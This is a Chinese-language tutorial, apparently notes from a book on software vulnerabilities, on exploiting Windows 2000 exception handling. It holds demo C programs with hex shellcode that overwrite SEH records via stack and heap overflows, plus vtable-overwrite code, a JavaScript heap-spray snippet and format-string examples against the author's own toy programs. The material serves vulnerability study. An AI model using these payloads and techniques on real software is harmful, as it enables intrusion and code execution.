旧文迁移,这里是0day安全里面的其他,由于0day安全主要是讲溢出,所以这里并没有涉及当今很流行的一些非溢出利用,而这些非溢出方式将在后续的LinuxExp里记录。
注,本篇所有操作仍然全在Windows2000进行。
攻击异常处理机制 Windows异常处理机制
SEH是Windows系统的异常处理机制,它被安装在栈里面,以单向链表的形式连接,后插入的SEH会插入在链表头部,链表头部由线程环境块TEB的第一个结构指向。
这些都是线程的SEH,若他们都不能处理异常,将调用进程的异常处理函数,他使用SetUnhandledExceptionFilter()
函数进行设置,它会影响所有线程,若它也不能处理异常,将会使用Last Exception Filter
来捕获所有的异常,对此异常做什么操作,可以通过注册表进行设置:
当CPU执行发生并捕获异常,内核会接收进程控制权,开始内核态的异常处理,内核态异常处理结束,控制权交回Ring3。
Ring3中第一个处理异常的函数是KiUserExceptionDispather()
函数,它会先检查进程是否处于调试状态,若是将控制权交给调试器,否则调用RtlDispatchException()
对SEH链表进行遍历,若能找到能处理此异常的SEH则再次遍历之前的SEH,将EXCEPTION_RECORD
的ExceptionCode
项设置为STATUS_UNWIND
进行unwind操作,释放资源,若都不能处理,最终将调用Last Exception Filter(UEF)
来处理(静默关闭程序还是弹出错误框自动开始调试)。
栈溢出+利用SEH SEH是安装在栈里面的,发现一个intersecting thing,就是他安装在栈帧一开始滴地方:
只要SEH在存在溢出的地址之上就一切好说了,现在先来随便填写内容(便于识别的),查看它将会被写入哪里:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 #include <windows.h> #include <stdio.h> char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" ;DWORD MyExceptionHandler () { printf ("发生异常啦\n" ); getchar(); ExitProcess(1 ); return 0 ; } void test (char * input) { char buf[200 ]; int zero = 0 ; __asm int 3 __try{ strcpy (buf,input); zero = 1 /zero; } __except(MyExceptionHandler()){ } } int main () { test(shellcode); return 0 ; }
运行发现:
Buf的地址是12FE98H,再看看最近的SEH的地址为:
12FF6C-12FE98H=D4H(212)
字节,由于我这里准备的shellcode有点大,为218字节,放不下,所以只能往上放了,即12FF6CH+4=12FF70H
处,于是shellcode布局下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 char shellcode[]="\xf9\x99\x3f\x43\x49\x99\x93\xfc\x43\xfc\x37\x9f\x43\x93\x3f" "\x4b\x40\x93\xf9\x48\x92\xf8\x4b\x98\x42\x98\xfc\x9b\x99\x9f" "\xf9\xf9\x4b\x98\x42\xd6\xf5\x40\x92\x2f\x40\x48\x9f\x99\x3f" "\x49\x4b\x41\x92\x37\x37\x48\x4a\x9b\x92\xf8\x98\x92\x4a\x4a" "\x3f\xfd\x41\x91\x4b\x98\x99\x92\xf5\x9b\xf9\xfd\x90\x27\xd6" "\x48\x4b\xd6\xf5\x9b\x2f\x92\x3f\x98\xf5\x27\x2f\x43\x40\x99" "\xf5\x99\x37\xf9\x9f\x4a\xf9\xfc\x99\x4b\x41\x93\xfc\xfd\x2f" "\x92\x9f\x9f\x4b\x48\x9f\x3f\x42\x93\xfc\x41\xf9\x40\x99\x92" "\x9f\xf9\x3f\x90\x49\x91\x37\x3f\xd6\x91\xf5\x93\xf5\x4a\x91" "\x42\x91\x90\x91\x99\x90\xf8\x37\x9f\x27\x43\x48\x41\x98\x27" "\x90\x2f\x9b\xd6\xfd\x48\x4b\x93\x92\x42\xf8\x43\xf5\xf8\x92" "\x42\x27\x4b\xf8\x98\x41\x3f\x3f\xfc\x99\x91\x40\x4b\xf5\xd6" "\x93\x93\xfd\x91\x91\x49\xd6\x42\x99\x2f\xfd\xfc\x37\xf9\x9f" "\xfd\x91\x98\x27\x90\x49\xfd\xf5\x40\x92\xfc\xd6\x4a\xf8\x3f" "\x9b\x90" "\x70\xff\x12\x00" "\xd9\xce\xd9\x74\x24\xf4\xb8\x7b\x4c\x81\x69\x5e\x2b" "\xc9\xb1\x32\x31\x46\x17\x83\xc6\x04\x03\x3d\x5f\x63\x9c\x3d" "\xb7\xe1\x5f\xbd\x48\x86\xd6\x58\x79\x86\x8d\x29\x2a\x36\xc5" "\x7f\xc7\xbd\x8b\x6b\x5c\xb3\x03\x9c\xd5\x7e\x72\x93\xe6\xd3" "\x46\xb2\x64\x2e\x9b\x14\x54\xe1\xee\x55\x91\x1c\x02\x07\x4a" "\x6a\xb1\xb7\xff\x26\x0a\x3c\xb3\xa7\x0a\xa1\x04\xc9\x3b\x74" "\x1e\x90\x9b\x77\xf3\xa8\x95\x6f\x10\x94\x6c\x04\xe2\x62\x6f" "\xcc\x3a\x8a\xdc\x31\xf3\x79\x1c\x76\x34\x62\x6b\x8e\x46\x1f" "\x6c\x55\x34\xfb\xf9\x4d\x9e\x88\x5a\xa9\x1e\x5c\x3c\x3a\x2c" "\x29\x4a\x64\x31\xac\x9f\x1f\x4d\x25\x1e\xcf\xc7\x7d\x05\xcb" "\x8c\x26\x24\x4a\x69\x88\x59\x8c\xd2\x75\xfc\xc7\xff\x62\x8d" "\x8a\x95\x75\x03\xb1\xd8\x76\x1b\xb9\x4c\x1f\x2a\x32\x03\x58" "\xb3\x91\x67\x96\xf9\xbb\xce\x3f\xa4\x2e\x53\x22\x57\x85\x90" "\x5b\xd4\x2f\x69\x98\xc4\x5a\x6c\xe4\x42\xb7\x1c\x75\x27\xb7" "\xb3\x76\x62\xd4\x5e\xed\xad\x35\xca\xcd\xce\x28\x60\x6d\x11" ;
哇哗哗哗哗,果然too young too navie,真正地址那里有个\x00会被strcmp截断,所以不行呐,不能放这里,那还是乖乖的想其他办法,这里就偷懒,找一个弹窗的shellcode吧,实际要利用这个大小也足够了!于是最终演示代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 #include <windows.h> #include <stdio.h> char shellcode[]="\xfc\x68\x6a\x0a\x38\x1e\x68\x63\x89\xd1\x4f\x68\x32\x74\x91\x0c" "\x8b\xf4\x8d\x7e\xf4\x33\xdb\xb7\x04\x2b\xe3\x66\xbb\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xd2\x64\x8b\x5a\x30\x8b\x4b\x0c\x8b" "\x49\x1c\x8b\x09\x8b\x69\x08\xad\x3d\x6a\x0a\x38\x1e\x75\x05\x95" "\xff\x57\xf8\x95\x60\x8b\x45\x3c\x8b\x4c\x05\x78\x03\xcd\x8b\x59" "\x20\x03\xdd\x33\xff\x47\x8b\x34\xbb\x03\xf5\x99\x0f\xbe\x06\x3a" "\xc4\x74\x08\xc1\xca\x07\x03\xd0\x46\xeb\xf1\x3b\x54\x24\x1c\x75" "\xe4\x8b\x59\x24\x03\xdd\x66\x8b\x3c\x7b\x8b\x59\x1c\x03\xdd\x03" "\x2c\xbb\x95\x5f\xab\x57\x61\x3d\x6a\x0a\x38\x1e\x75\xa9\x33\xdb" "\x53\x68\x6d\x61\x6f\xff\x68\x62\x65\x74\x61\x8b\xc4\x53\x50\x50" "\x53\xff\x57\xfc\x53\xff\x57\xf8" "\x53\x68\x6d\x61\x6f\xff\x68\x62\x65\x74\x61\x8b\xc4\x53\x50\x50" "\x53\x68\x6d\x61\x6f\xff\x68\x62\x65\x74\x61\x8b\xc4\x53\x50\x50" "\x53\x68\x6d\x61\x6f\xff\x68\x62\x65\x74\x61\x8b" "\x98\xfe\x12\x00" ;DWORD MyExceptionHandler () { printf ("发生异常啦\n" ); getchar(); ExitProcess(1 ); return 0 ; } void test (char * input) { char buf[200 ]; int zero = 0 ; __try{ strcpy (buf,input); zero = 1 /zero; } __except(MyExceptionHandler()){ } } int main () { test(shellcode); return 0 ; }
效果如下:
堆溢出+利用SEH 原理同样,使用点射-DWORD SHOOT攻击,代码如下:
由于自己写的代码,已经知道堆为200字节,那么shellcode如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 #include <stdio.h> #include <Windows.h> char shellcode[] ="\xeb\x06" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xfc\x68\x6a\x0a\x38\x1e\x68\x63\x89\xd1\x4f\x68\x32\x74\x91\x0c" "\x8b\xf4\x8d\x7e\xf4\x33\xdb\xb7\x04\x2b\xe3\x66\xbb\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xd2\x64\x8b\x5a\x30\x8b\x4b\x0c\x8b" "\x49\x1c\x8b\x09\x8b\x69\x08\xad\x3d\x6a\x0a\x38\x1e\x75\x05\x95" "\xff\x57\xf8\x95\x60\x8b\x45\x3c\x8b\x4c\x05\x78\x03\xcd\x8b\x59" "\x20\x03\xdd\x33\xff\x47\x8b\x34\xbb\x03\xf5\x99\x0f\xbe\x06\x3a" "\xc4\x74\x08\xc1\xca\x07\x03\xd0\x46\xeb\xf1\x3b\x54\x24\x1c\x75" "\xe4\x8b\x59\x24\x03\xdd\x66\x8b\x3c\x7b\x8b\x59\x1c\x03\xdd\x03" "\x2c\xbb\x95\x5f\xab\x57\x61\x3d\x6a\x0a\x38\x1e\x75\xa9\x33\xdb" "\x53\x68\x6d\x61\x6f\xff\x68\x62\x65\x74\x61\x8b\xc4\x53\x50\x50" "\x53\xff\x57\xfc\x53\xff\x57\xf8" "\x53\x68\x6d\x61\x6f\xff\x68\x62\x65\x74\x61\x8b\xc4\x53\x50\x50" "\x16\x01\x1A\x00\x00\x10\x00\x00" "\x88\x06\x36\x00" "\xf0\xfe\x12\x00" ; DWORD MyExceptionHandler () { ExitProcess(1 ); return 0 ; } int main () { HLOCAL h1 = 0 , h2 = 0 ; HANDLE hp; hp = HeapCreate(0 , 0x1000 , 0x10000 ); h1 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 200 ); memcpy (h1, shellcode, 0x200 ); __try { h2 = HeapAlloc(hp, HEAP_ZERO_MEMORY, 8 ); } __except (MyExceptionHandler()) { } return 0 ; }
这里有个坑点,就是SEH会在调用HeapAlloc后加一个,这个错误把自己弄得死去活来的:
再单步执行一步,就会添加一个SEH:
效果如下:
其他异常利用思路 VEH利用 这是在Windows XP后增加的,进程级的向量化异常处理:
可以使用如下函数像设置进程SEH一样设置VEH,并且他可以被设置多个:
1 2 3 4 PVOID WINAPI AddVectoredExceptionHandler ( _In_ ULONG FirstHandler, _In_ PVECTORED_EXCEPTION_HANDLER VectoredHandler ) ;
其中VectoredHandler结构相对于SEH多了一个前向指针,即VEH是一个双向链表,并且VEH设置时可以指定插入的位置,整个VEH先于SEH执行,它被保存在堆中,于是可以使用DWORD SHOOT攻击,修改句柄,当然最简单的就是修改头结点,头结点可能被固定存储在一个地方。
攻击TEB中的SEH节点 FS:[0] = TEB.NtTib.ExceptionList = address of SEH
此节点记录着SEH的头结点,于是攻击此也可以达到控制程序执行流程的目的,但是它有一定的局限性,之前,我们都是通过命令来查看address of SHE这个值得位置的,但是攻击时是不可能这样做的,于是在单线程且2000系统中,可以记住它的地址,因为他不变,但是在以后的系统它会发生变化而且多线程时一个TEB会紧随前边的TEB,相隔0x1000字节,向低地址方向增长,且线程结束时会销毁TEB,于是就不能判断哪个才是对应线程的TEB,对多线程程序采用这种攻击一种思路是创建很多线程或关闭大量线程以尽量控制TEB排列。
攻击UEF 这个当然也可以去使用DWORD SHOOT攻击修改它的异常处理函数地址,至于它本身的地址,可以逆向Kernel32.SetUnhandledException()
来获取:
攻击PEB中的函数指针 回顾堆溢出利用,若所有的SEH都无法处理异常,最终将调用ExitPrcoess()
结束进程,而它又会调用RtlEnterCraticalSection()
和RtlLeaveCraticalSection()
,ExitProcess是用过PEB中的一对指针调用它们的,所以可以通过PEB找到他们的位置并修改它就可以获取控制权。
OffByOn攻击
对于如下形式的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #include <stdio.h> #include <Windows.h> #include <string.h> void OffByOne (char *input) { char buf[100 ]; for (int i = 0 ; i <= sizeof (buf); i++) { buf[i] = input[i]; } for (i = 0 ; i < sizeof (buf); i++) { putchar (buf[i]); } } void main () {char input[200 ]={0 };OffByOne(input); }
看到for里面犯了一个很容易犯得错误,就是对于char数组使用了i<=sizeof(),最后一个字节会越界,这样若是buf在栈帧顶部,像上面这样的代码(这里写的太简单了,甚至没有栈帧)将会覆盖EBP的一字节数据(这里没有栈帧,将会覆盖返回地址的一字节数据,如下图),对于平常遇到的小端机可以控制指针在256范围内移动,当然即使不改变ebp等也可能覆盖其他变量,改变程序执行逻辑。
C++虚函数攻击
C++中,一个类的虚表在成员变量的前面,溢出时不能向前覆盖的,于是好像没有,可能没用吗?都可以溢出了!。。。他可以覆盖后面对象的虚表啊,这里有个演示代码,这个代码只有一个对象,没有溢出覆盖虚表的函数指针,只是给个效果而已:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 #include "windows.h" #include "iostream.h" char shellcode[]="\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90" "\x1C\x88\x40\x00" ;class Failwest { public : char buf[200 ]; virtual void test (void ) { cout <<"Class Vtable::test()" <<endl ; } }; Failwest overflow, *p; void main (void ) { char * p_vtable; p_vtable=overflow.buf-4 ; p_vtable[0 ]=0xCC ; p_vtable[1 ]=0x88 ; p_vtable[2 ]=0x40 ; p_vtable[3 ]=0x00 ; strcpy (overflow.buf,shellcode); p=&overflow; p->test(); }
效果如下:
实际上要利用这个需要两个连续的对象的,它溢出的是邻接对象的虚表,和堆溢出溢出邻接堆块差不多。
Heap Spray攻击
这是一种攻击浏览器的经典方法,堆溢出更常见,利用起来更为复杂,尽管他能修改任意地址的4四字节数据,但是它可能根本不知道该修改哪个地址因为他不知道shellcode被放在了哪里,于是就可以使用Heap Spray 堆喷射攻击,它的原理就是申请大量的内存,并往里面填充空指令指针和shellcode,使EIP落在Nop上时能够向后滑行,,由于shellcode很小,在一个申请的堆内存中占用的比例极小,因此命中率会很高,只要EIP落到前面的空指令区就能滑行到shellcode区了。
在利用时,一般会使用0x0C0C0C0C作为点射地址:
攻击代码如下:
1 2 3 4 5 6 7 8 9 10 11 var nop = unescape ("%u9090" );while (nop.length<=0x100000 /2 ){ nop+=nop; } nop = nop.substring(0 ,0x1000000 /2 -32 /2 -4 /2 -shellcode.length-2 /2 ); var slide = new Arrary();for (var i = 0 ;i<200 ;i++){ slide[i]=nop+shellcode; }
格式化串攻击
使用printf类函数时存在一个很有意思的事,它的参数可以任意多个,并且由第一个字符串里的格式控制符%*来决定,由于第一个参数是字符串,他其实是”不能”判断后面应该接几个参数的,于是下面的代码是能够顺利编译的:
1 2 3 4 5 6 7 #include <stdio.h> int main () {int a = 44 ,b = 77 ;printf ("a = %d,b = %d\n" ,a,b);printf ("a = %d,b = %d\n" );return 0 ;}
而他们的执行结果如下:
使用ollydbg调试一下:
看出第二次输出的a的值是上一次压入的参数—“a = %d,b = %d\n”这个串的地址(十进制形式),b的值是上一次压入的参数a的值,到现在为止,若程序只是少写了几个参数,它最多也就是打印栈上不远处的数据值,但是,若能控制第一个带格式控制符的字符串,那么就能输出所有栈上的数据了,然而,这还没完,要是能控制整个printf的参数,如下,将会更有用:
1 2 3 int main (int argc,char ** argv) {printf (argv[1 ]);}
因为有一个鲜为人知的控制符%n(VS2005默认情况下关闭了此控制符的使用),它的作用是把当前输出的所有数据的长度写回一个变量中去:
1 2 3 4 5 6 7 int main (int argc,char ** argv) { int len=0 ; printf ("写入前:len=%d\n" ,len); printf ("输出点东西吧:len=%d%n\n" ,len,&len); printf ("写入后:len=%d\n" ,len); return 0 ; }
结果为:
来源 0day安全:软件漏洞分析技术